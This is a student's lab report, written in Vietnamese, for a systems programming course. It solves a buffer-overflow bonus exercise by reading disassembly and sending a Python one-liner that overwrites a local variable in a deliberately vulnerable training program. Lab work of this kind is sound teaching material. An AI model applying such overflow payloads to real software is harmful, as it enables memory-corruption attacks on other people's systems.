THỰC HÀNH LẬP TRÌNH HỆ THỐNG - LỚP NT209.L21.ANTN.1

BÀI THỰC HÀNH 6: Buffer Overflow Attack(Buffer Bomb) (tt)

Giảng viên hướng dẫn	**Đỗ Thị Hương Lan**		**ĐIỂM**
Sinh viên thực hiện 1	**Nguyễn Mỹ Quỳnh**	**19520241**	

BÀI BONUS:

Xem mã assembly của hàm smash_my_buffer, ta thấy địa chỉ của biến var là %ebp -0xC (cách ebp 12 kí tự), địa chỉ của biến buf là %ebp-0x24 (cách ebp 36 kí tự).

Vậy var cách buf 24 kí tự. Suy ra ta cần điền 24 kí tự bất kì và 4 kí tự ghi đè lên var sao cho var == student_id.

MSSV : 19520241 = 0x0129DAF1

```
Dump of assembler code for function smash_my_buffer:
   0x080484cb <+0>:     push   %ebp
   0x080484cc <+1>:     mov    %esp,%ebp
   0x080484ce <+3>:     sub    $0x28,%esp
   0x080484d1 <+6>:     movl   $0x12345678,-0xc(%ebp)
   0x080484d8 <+13>:    movl   $0x0,-0x10(%ebp)
   0x080484df <+20>:    sub    $0xc,%esp
   0x080484e2 <+23>:    lea    -0x24(%ebp),%eax
   0x080484e5 <+26>:    push   %eax
   0x080484e6 <+27>:    call   0x8048370 <gets@plt>
```

Chạy kiểm tra:

```
┌──(kali㉿kali)-[~/Desktop]
└─$ python -c 'print "A"*24 +"\xF1\xDA\x29\x01"'| ./simple-buffer 19520241
You changed my local variables.
Nice works. You've changed my var to 19520241. That's what I need :)
```

Vậy là đã thành công !